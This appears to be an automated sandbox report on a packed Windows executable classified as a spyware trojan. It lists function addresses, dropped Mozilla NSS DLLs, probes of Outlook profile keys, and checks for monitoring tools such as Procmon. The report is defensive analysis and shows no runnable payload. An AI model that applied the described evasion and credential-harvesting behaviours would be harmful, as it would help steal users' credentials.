Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B45A9C	0_2_00B45A9C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B3D3A3	0_2_00B3D3A3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A6DC84	0_2_00A6DC84
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B1A48F	0_2_00B1A48F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A91430	0_2_00A91430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B4247D	0_2_00B4247D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A21C45	0_2_00A21C45
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B34DBA	0_2_00B34DBA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009DADC0	0_2_009DADC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B00D30	0_2_00B00D30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B39D7D	0_2_00B39D7D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B4AEA9	0_2_00B4AEA9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B4C61D	0_2_00B4C61D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B3EE50	0_2_00B3EE50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B03655	0_2_00B03655
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B47788	0_2_00B47788
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B367FB	0_2_00B367FB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6135A0	0_2_6C6135A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C625440	0_2_6C625440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68545C	0_2_6C68545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68542B	0_2_6C68542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68AC00	0_2_6C68AC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C655C10	0_2_6C655C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C662C10	0_2_6C662C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61D4E0	0_2_6C61D4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C656CF0	0_2_6C656CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6264C0	0_2_6C6264C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63D4D0	0_2_6C63D4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6734A0	0_2_6C6734A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67C4A0	0_2_6C67C4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C626C80	0_2_6C626C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C62FD00	0_2_6C62FD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63ED10	0_2_6C63ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C640512	0_2_6C640512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6785F0	0_2_6C6785F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C650DD0	0_2_6C650DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C686E63	0_2_6C686E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61C670	0_2_6C61C670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C634640	0_2_6C634640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C662E4E	0_2_6C662E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C639E50	0_2_6C639E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C653E50	0_2_6C653E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C679E30	0_2_6C679E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C665600	0_2_6C665600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C657E10	0_2_6C657E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6876E3	0_2_6C6876E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61BEF0	0_2_6C61BEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C62FEF0	0_2_6C62FEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C674EA0	0_2_6C674EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67E680	0_2_6C67E680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C635E90	0_2_6C635E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C629F00	0_2_6C629F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C657710	0_2_6C657710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61DFE0	0_2_6C61DFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C646FF0	0_2_6C646FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6677A0	0_2_6C6677A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65F070	0_2_6C65F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C638850	0_2_6C638850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63D850	0_2_6C63D850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65B820	0_2_6C65B820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C664820	0_2_6C664820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C627810	0_2_6C627810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63C0E0	0_2_6C63C0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6558E0	0_2_6C6558E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6850C7	0_2_6C6850C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6460A0	0_2_6C6460A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C62D960	0_2_6C62D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66B970	0_2_6C66B970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68B170	0_2_6C68B170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63A940	0_2_6C63A940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61C9A0	0_2_6C61C9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64D9B0	0_2_6C64D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C655190	0_2_6C655190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C672990	0_2_6C672990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C659A60	0_2_6C659A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C631AF0	0_2_6C631AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65E2F0	0_2_6C65E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C658AC0	0_2_6C658AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6122A0	0_2_6C6122A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C644AA0	0_2_6C644AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C62CAB0	0_2_6C62CAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C682AB0	0_2_6C682AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68BA90	0_2_6C68BA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C62C370	0_2_6C62C370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C615340	0_2_6C615340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65D320	0_2_6C65D320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6853C8	0_2_6C6853C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61F380	0_2_6C61F380

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C64CBE8 appears 134 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 007745C0 appears 316 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C6594D0 appears 90 times

Source: file.exe, 00000000.00000002.2452206023.000000006C6A2000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2452711075.000000006C895000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: jxayqqfg ZLIB complexity 0.994833726149339

Source: file.exe, 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2152965180.0000000005120000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/22@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C677030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C677030

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00789600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00789600

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00783720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00783720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\ZJGVBECB.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2451682592.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2440515408.000000001D9C0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2452461444.000000006C84F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2451682592.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2440515408.000000001D9C0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2452461444.000000006C84F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2451682592.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2440515408.000000001D9C0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2452461444.000000006C84F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2451682592.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2440515408.000000001D9C0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2452461444.000000006C84F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.2451682592.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2440515408.000000001D9C0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2452461444.000000006C84F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2451682592.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2440515408.000000001D9C0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2451682592.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2440515408.000000001D9C0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2452461444.000000006C84F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2274849473.000000001D8C8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2293395544.000000000157F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2292993469.000000001D8BB000.00000004.00000020.00020000.00000000.sdmp, AKKEHIECFCAAFIEBGIDA.0.dr, IJECAEHJJJKJKFIDGCBG.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2451682592.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2440515408.000000001D9C0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2451682592.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2440515408.000000001D9C0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 44%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1860096 > 1048576

Source: file.exe

Static PE information: Raw size of jxayqqfg is bigger than: 0x100000 < 0x1a0000

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2452132162.000000006C68D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2452461444.000000006C84F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2452461444.000000006C84F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2452132162.000000006C68D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.770000.0.unpack :EW;.rsrc :W;.idata :W; :EW;jxayqqfg:EW;aaxzqcwz:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;jxayqqfg:EW;aaxzqcwz:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00789860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00789860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1d03b2 should be: 0x1d2621

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: jxayqqfg
Source: file.exe	Static PE information: section name: aaxzqcwz
Source: file.exe	Static PE information: section name: .taggant
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C3812F push 76933DD4h; mov dword ptr [esp], ecx	0_2_00C38314
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A70888 push 35D10184h; mov dword ptr [esp], edx	0_2_00A708AE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A70888 push edi; mov dword ptr [esp], eax	0_2_00A70941
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A70888 push ebx; mov dword ptr [esp], edx	0_2_00A7096C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A70888 push 5DD98EBAh; mov dword ptr [esp], ebp	0_2_00A709FD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A70888 push ebx; mov dword ptr [esp], edi	0_2_00A70A2A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BE008A push 5EA706D6h; mov dword ptr [esp], edi	0_2_00BE00F1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A078EA push ebp; mov dword ptr [esp], 00000004h	0_2_00A078EF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A078EA push eax; mov dword ptr [esp], ebp	0_2_00A0790F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A078EA push edx; mov dword ptr [esp], eax	0_2_00A0795A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A078EA push ecx; mov dword ptr [esp], 7EF60600h	0_2_00A07A09
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A078EA push ebx; mov dword ptr [esp], 5DADDE4Dh	0_2_00A07A15
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0078B035 push ecx; ret	0_2_0078B048
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BEC0CE push 23526341h; mov dword ptr [esp], ebx	0_2_00BEC117
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BEC0CE push 4DEC1907h; mov dword ptr [esp], edx	0_2_00BEC13E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B440C5 push ebp; mov dword ptr [esp], 465DD463h	0_2_00B4414A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B440C5 push edx; mov dword ptr [esp], eax	0_2_00B4417C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B440C5 push edx; mov dword ptr [esp], 6A3AF96Bh	0_2_00B44254
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B440C5 push ebx; mov dword ptr [esp], ecx	0_2_00B442AD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B440C5 push ecx; mov dword ptr [esp], edi	0_2_00B442D2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B440C5 push 326817E0h; mov dword ptr [esp], edx	0_2_00B44303
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B440C5 push 3E4FD68Ch; mov dword ptr [esp], ecx	0_2_00B4431D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B440C5 push edi; mov dword ptr [esp], eax	0_2_00B44364
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B440C5 push edi; mov dword ptr [esp], ebx	0_2_00B4438C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B440C5 push ebx; mov dword ptr [esp], esi	0_2_00B443C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B440C5 push edi; mov dword ptr [esp], ebp	0_2_00B443C9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B440C5 push edi; mov dword ptr [esp], esi	0_2_00B44471
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B440C5 push ecx; mov dword ptr [esp], edi	0_2_00B4447C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B440C5 push 61F17C86h; mov dword ptr [esp], edx	0_2_00B44553
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B440C5 push eax; mov dword ptr [esp], ebp	0_2_00B44578
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B440C5 push eax; mov dword ptr [esp], ecx	0_2_00B44590

Source: file.exe

Static PE information: section name: jxayqqfg entropy: 7.953522495962043

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
